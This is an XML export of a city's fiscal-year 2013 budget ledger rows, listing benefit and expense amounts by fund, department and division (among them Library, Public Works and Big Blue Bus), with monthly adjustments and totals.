<row _id="1456"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3365.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3365.0</total></row>
<row _id="1457"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15528.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15528.0</total></row>
<row _id="1458"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>153939.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1539</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>155478.0</total></row>
<row _id="1459"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>311972.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-2500</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>309472.0</total></row>
<row _id="1460"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>39050.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-425</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>38625.0</total></row>
<row _id="1461"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>53690.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>53690.0</total></row>
<row _id="1462"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>693432.0</july><august>0</august><september>0.0</september><october>-47.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>693385.0</total></row>
<row _id="1463"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>966627.0</july><august>0</august><september>0.0</september><october>12365.0</october><november>-12365</november><december>0</december><january>0.0</january><february>9666</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>976293.0</total></row>
<row _id="1464"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>75153.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>752</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>75905.0</total></row>
<row _id="1465"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>163526.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>163526.0</total></row>
<row _id="1466"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1218.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>65</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1283.0</total></row>
<row _id="1467"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1095.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1095.0</total></row>
<row _id="1468"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2848.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2848.0</total></row>
<row _id="1469"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>69.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70.0</total></row>
<row _id="1470"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7630.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7630.0</total></row>
<row _id="1471"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>29031.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29031.0</total></row>
<row _id="1472"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5608.0</july><august>0</august><september>0.0</september><october>1800.0</october><november>0</november><december>0</december><january>0.0</january><february>561</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7969.0</total></row>
<row _id="1473"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>19542.0</july><august>0</august><september>0.0</september><october>-900.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18642.0</total></row>
<row _id="1474"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>401662.0</object><object_description>ASSFC PASS-THRU</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-200000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="1475"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6765.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>68</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6833.0</total></row>
<row _id="1476"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8577.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8577.0</total></row>
<row _id="1477"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1499.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1499.0</total></row>
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<row _id="1479"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>815.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-89</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>726.0</total></row>
<row _id="1480"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1458.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-5</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1453.0</total></row>
<row _id="1481"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3216.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3216.0</total></row>
<row _id="1482"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1224.0</july><august>72</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1296.0</total></row>
<row _id="1483"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3334.0</july><august>-104</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-270</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2960.0</total></row>
<row _id="1484"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8966.0</july><august>-115</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>182</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9033.0</total></row>
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<row _id="1487"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1067.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-115</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>952.0</total></row>
<row _id="1488"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>14134.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-290</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13844.0</total></row>
<row _id="1489"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>316033.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-521</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>315512.0</total></row>
<row _id="1490"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>29547.0</july><august>1738</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>31285.0</total></row>
<row _id="1491"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>50269.0</july><august>-1738</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>871</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>49402.0</total></row>
<row _id="1492"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4294.0</july><august>-137</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-279</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3878.0</total></row>
<row _id="1493"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522115.0</object><object_description>UTIL-LIGHT/POWER-LIBRARY PARKI</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>85545</april><may>0</may><june>0.0</june><total>85545.0</total></row>
<row _id="1494"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
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<row _id="1496"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8791.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>88</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8879.0</total></row>
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<row _id="1499"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10773.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>108</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10881.0</total></row>
<row _id="1500"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>47214.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>561</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>47775.0</total></row>
<row _id="1501"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>576.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>576.0</total></row>
<row _id="1502"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>626.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>626.0</total></row>
<row _id="1503"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1017.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1017.0</total></row>
<row _id="1504"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4557.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>46</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4603.0</total></row>
<row _id="1505"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5271.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-344</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4927.0</total></row>
<row _id="1506"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7866.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-531</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7335.0</total></row>
<row _id="1507"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12137.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-29</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12108.0</total></row>
<row _id="1508"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8096.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8096.0</total></row>
<row _id="1509"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>924.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-108</february><march>0.0</march><april>17</april><may>0</may><june>0.0</june><total>833.0</total></row>
